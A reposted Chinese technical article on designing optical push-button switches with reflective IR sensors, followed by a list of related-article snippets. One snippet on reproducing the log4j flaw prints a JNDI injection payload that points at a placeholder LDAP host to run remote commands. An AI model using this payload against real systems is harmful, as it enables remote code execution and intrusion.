反射感测器简化光电开关设计

本文为大家介绍如何利用反射感测器的优势,以简化并改进微型光学感测器的设计。

反射感测器是设计微型光电开关的得力助手。它们精巧直观,可用来简化人机交互。这些感测器通常隐藏在红外 ( IR ) 透镜盖后面,当手指或其他物体接触镜盖表面时,感测器会迅速做出回应。

光学感测器或反射感测器可用来简化设计过程,便于设计直观、智慧且操作可靠的按钮,是一种既简单又高效的结构:

  1. 感测器一端装有发射红外光的发射器
  2. 当手指或任何物体靠近时,会受到这种光束的照射
  3. 反射信号在另一端的探测器产生光电流

这些感测器的工作是无形的,没有运动部件或摩擦,几乎没有磨损。此外,光学感测器可以进行修正和微调,避免镜盖表面湿气、水、污垢和划痕的影响。即使带着手套操作,它们也可以高效运行。需要特别注意的是,与应用集成的感测器一样,要想取得理想的结果,必须考虑各种严峻挑战。对于光学感测器来说,这些挑战主要是应用环境和机械条件的限制。



环境挑战

想像一下:阳光和典型光源等外部干扰会造成探测器环境杂讯,这是需要解决的问题。这种情况下,我们要考虑由周边孔径反射,以及镜盖表面污垢、水、湿气或划痕所引起的偏移电流。这种偏移电流会增大接近信号,提高输出信号的总振幅。

如果设计阶段不考虑这些因素,杂讯信号强度会增大到超过设定的阈值,从而导致误测。为防止这种情况,设计感测器时应最大限度减少这些环境因素的影响,以保持正常的信噪比。



机械挑战

为美观起见,感测器通常隐藏在红外透镜盖下面,或者光学感测器观测孔保持最小尺寸。此外,为了给紧密排列在一起的多个按钮留出空间,感测器占位面积应尽可能小。这样一来,一方面感测器封装尺寸受到严格的机械约束,另一方面对发射角度/观测特性有严格要求。



应用场景

了解了采用反射感测器设计光电开关涉及的环境和机械挑战,接下来我们深入探讨三个具体应用场景。


01

阳光直射下工作的车载触控开关

由于体积小巧,光学感测器按钮可以放在车内任何地方。不过,为了适应车辆可变条件,必须达到高标准可靠性。同时,需要考虑温度波动和阳光的影响等因素。

感测器可通过优化孔径保证正确定向,以遮挡破坏性的阳光。此外,感测器封装设计要消除所有引起麻烦的光波长。这意味着,感测器只对发射器波长范围内的光做出回应,已滤除大部分环境杂讯。

您可以在探测器一端配置 DC 光抑制电路和高通滤波器,进一步增强感测器的功能,如图 1 所示。这种电路确保只探测和放大脉冲发射器信号。

图 1 :探测器配置 DC 光抑制电路和高通滤波器


02

密闭空间光学按钮面板

当设计需要在有限空间配置多个按钮时,非常适合使用配有发射器的感测器,这种发射器可利用光照强度高,光输出强的垂直腔面发射激光器 ( VCSEL )。

VCSEL 窄发射角大大减小了镜盖造成的偏移,使感测器特别适合在透明材料下工作。此外,感测器的光照模式和紧凑尺寸允许其极为紧密地并排放置。事实上,排列密度仅受手指宽度的限制。得益于 VCSEL 的光照模式,您可以为镜盖找一个产生偏移最小的位置。这个最佳点最好由距离曲线来确定。

距离曲线( 图 2 )表示感测器的相对输出信号与透镜或镜片距离的关系。大约 2 mm 距离内信号足够低。这表明理想情况下,镜片应保持在这个范围内,最大距离不超过 2 mm,以最大限度减小偏移,从而提高之前提到的信噪比。
 

ICrel - 相对集电极电流

z - 距离图 2 :距离曲线表示感测器相对输出信号与透镜或镜片距离的关系。


03

适用于恶劣工业或医疗环境的按钮

如您的目标是设计坚固耐用的按钮,用于严苛的工业或医疗应用。光电按钮表面光滑,没有藏污纳垢的缝隙,因此便于清洁。然而,关键是感测器不能因液体或污垢触发。

而且,即使手指定位不准,不是直接落在感测器上方,也可以识别按压动作。由于红外发射器的发射角宽,光电按钮对镜盖表面污垢的敏感度下降。这种广角发射扩大了光照功率的分布区域。

此外,广角发射便于探测未直接放在感测器上的手指。重要的是,这种环境中经常使用的手套不会造成问题,感测器很容易探测。
 


图 3 模型是一种满足这些标准的简化版实用按钮设计。

感测器在距感测器顶部 3 mm 、厚度为 2 mm 的红外透镜聚碳酸酯盖下工作。孔径设计足够大,适应感测器广角发射,从而最大限度减小偏移杂讯。图 3为使其对阳光不敏感,设计采用图 1 所示电路拓扑结构。发射器的脉冲频率为 5 kHz 。

增加的高通滤波器使截止频率低于脉冲频率,且有效抑制 50 Hz 典型市电交流声。输出信号可直接连接模-数转换器做进一步处理。

通过校准,感测器可以忽略孔径引起的偏移。这种设计非常稳定,对外部因素造成的误触发具有很高的抵抗能力,性能极为可靠。

登录大大通,了解更多详情,解锁1500+完整应用方案,更有大联大700+FAE在线答疑解惑! 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/797668.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2024年4月7日16:58:09答辩笔记

尚硅谷总结毕业设计编写:(ppt尽量好看点,放图(流畅图,时序图放一放),少字,) 总结:(这样给人体验感要好,语言、逻辑清晰) 1…

vue实现验证码验证登录

先看效果&#xff1a; 代码如下&#xff1a; <template><div class"container"><div style"width: 400px; padding: 30px; background-color: white; border-radius: 5px;"><div style"text-align: center; font-size: 20px; m…

MySQL主从的介绍与应用

mysql主从 文章目录 mysql主从1. 主从简介1.1 主从作用1.2 主从形式 2. 主从复制原理3. 主从复制配置3.1 mysql安装&#xff08;两台主机安装一致&#xff0c;下面只演示一台主机操作&#xff09;3.2 mysql主从配置3.2.1 确保从数据库与主数据库里的数据一样3.2.2 在主数据库里…

log4j漏洞复现

1、apache log4j 是java语言中的日志处理套件/程序。2.0-2.14.1存在JNDI注入漏洞&#xff0c;导致攻击者可以控制日志内容的情况下&#xff0c;传入${jndi:ldap://xxxxxx.com/rce}的参数进行JNDI注入&#xff0c;执行远程命令。 JNDI&#xff1a; 命名和目录接口&#xff0c;…

苍穹外卖Day10——总结10

前期文章 文章标题地址苍穹外卖Day01——总结1https://lushimeng.blog.csdn.net/article/details/135466359苍穹外卖Day02——总结2https://lushimeng.blog.csdn.net/article/details/135484126苍穹外卖Day03——总结3https://blog.csdn.net/qq_43751200/article/details/1363…

基于单片机干湿垃圾自动分类系统

**单片机设计介绍&#xff0c;基于单片机干湿垃圾自动分类系统 文章目录 一 概要二、功能设计三、 软件设计原理图 五、 程序六、 文章目录 一 概要 基于单片机的干湿垃圾自动分类系统是一个集成传感器技术、机械控制和单片机编程于一体的自动化解决方案。该系统的主要目标是实…

Docker之镜像与容器的相关操作

目录 一、Docker镜像 搜索镜像 下载镜像 查看宿主机上的镜像 删除镜像 二、Docker容器 创建容器 查看容器 启停容器 删除容器 进入容器 创建/启动/进入容器 退出容器 查看容器内部信息 一、Docker镜像 Docker 运行容器前需要本地存在对应的镜像&#xff0c; 如…

mysql 连接查询和子查询

学习了mysql基本查询&#xff0c; 接着学习连接查询和子查询。 4&#xff0c;连接查询 连接是关系数据库模型的主要特点。连接查询是关系数据库中最主要的查询&#xff0c;主要包括内连接、外连接等。通过连接运算符可以实现多个表查询。在关系数据库管理系统中&#xff0c;表建…

使用 Docker Compose 部署邮件服务器

使用 Docker Compose 部署邮件服务器 很多时候为了方便&#xff0c; 我们都直接使用第三方邮箱进行收发邮件。 但第三方邮箱有些要求定期修改密码&#xff0c;有些限制发邮箱的次数&#xff0c; 对于一些个人和企业来说&#xff0c; 有自己的域名和服务器为什么不自己搭建一个邮…

GESP Python编程五级认证真题 2024年3月

Python 五级 2024 年 03 月 1 单选题&#xff08;每题 2 分&#xff0c;共 30 分&#xff09; 第 1 题 下面流程图在yr输入2024时&#xff0c;可以判定yr代表闰年&#xff0c;并输出 2月是29天 &#xff0c;则图中菱形框中应该填入&#xff08; &#xff09;。 A. (yr % 400 0…

Leetcode刷题笔记——多维动态规划篇

Leetcode刷题笔记——多维动态规划篇 第一题:最小路径和 Leetcode64&#xff1a;最小路径和&#xff1a;中等题 &#xff08;详情点击链接见原题&#xff09; 给定一个包含非负整数的 m x n 网格 grid &#xff0c;请找出一条从左上角到右下角的路径&#xff0c;使得路径上的…

稀碎从零算法笔记Day36-LeetCode:H指数

有点绕的一个题&#xff0c;题目描述的有点奇怪&#xff08;可以看下英文&#xff1f;&#xff09; 题型&#xff1a;数组、模拟 链接&#xff1a;274. H 指数 - 力扣&#xff08;LeetCode&#xff09; 来源&#xff1a;LeetCode 题目描述 给你一个整数数组 citations &am…

SpringBoot登录校验(四)过滤器Filter

JWT令牌生成后&#xff0c;客户端发的请求头中会带有JWT令牌&#xff0c;服务端需要校验每个请求的令牌&#xff0c;如果在每个controller方法中添加校验模块&#xff0c;则十分复杂且冗余&#xff0c;所以引入统一拦截模块&#xff0c;将请求拦截下来并做校验&#xff0c;这块…

【算法】两数之和(暴力求解+哈希表)

本题来源---《两数之和》。 题目描述 给定一个整数数组 nums 和一个整数目标值 target&#xff0c;请你在该数组中找出 和为目标值 target 的那 两个 整数&#xff0c;并返回它们的数组下标。 你可以假设每种输入只会对应一个答案。但是&#xff0c;数组中同一个元素在答案里…

Golang | Leetcode Golang题解之第12题整数转罗马数字

题解&#xff1a; 题解&#xff1a; var (thousands []string{"", "M", "MM", "MMM"}hundreds []string{"", "C", "CC", "CCC", "CD", "D", "DC", "…

UNITY实战进阶-BatchRendererGroup+Jobs+Burst+RVO2+GPUAnimation 实现万人团战(一)

研究思路&#xff1a;GPUAnimation把动画放入GPU中处理&#xff0c;BatchRendererGroup进行动态批量渲染处理&#xff0c;JobsBurst进行多线程处理逻辑&#xff08;移动、攻击等&#xff09;&#xff0c;RVO2采用Jobs的寻路导航。 准备工作&#xff1a; Editor > Project S…

VMware虚拟机(Rocky9.3)硬盘扩容详细图文教程

参考<<鸟哥的Linux>>以及VMware虚拟机硬盘扩容详细图文教程 原因: 用户空间不足,且系统是用LVM&#xff08;logical volume manager&#xff09;进行分区 df -h #查看/home目录下磁盘容量不足磁盘扩容步骤 关闭虚拟机,选择编辑虚拟机, 点击硬盘,再点击扩容 这个…

Redis安装说明

Redis安装说明 大多数企业都是基于Linux服务器来部署项目&#xff0c;而且Redis官方也没有提供Windows版本的安装包。因此课程中我们会基于Linux系统来安装Redis. 此处选择的Linux版本为CentOS 7. Redis的官方网站地址&#xff1a;https://redis.io/ 1.单机安装Redis 1.1.…

Mysql底层原理十一:Mvcc

为什么要mvcc&#xff1f; 提高并发度&#xff0c;如果读和写都是通过加锁的方式&#xff0c;并发肯定上不来&#xff0c;通过mvcc来实现写通过加锁&#xff0c;读通过mvcc readView机制 3.9.1 Undo版本链 再重复一遍&#xff0c;页面中的记录存放在用户表空间的数据页中&a…

VLAN 与 VXLAN:一个字母之差,到底两者有什么区别?

来源&#xff1a;网络技术联盟站 网络虚拟化技术在现代网络架构中扮演着至关重要的角色&#xff0c;而其中的两个重要代表——虚拟局域网&#xff08;VLAN&#xff09;和虚拟扩展局域网&#xff08;VXLAN&#xff09;——在网络管理和扩展性方面发挥着独特的作用。本文将深入研…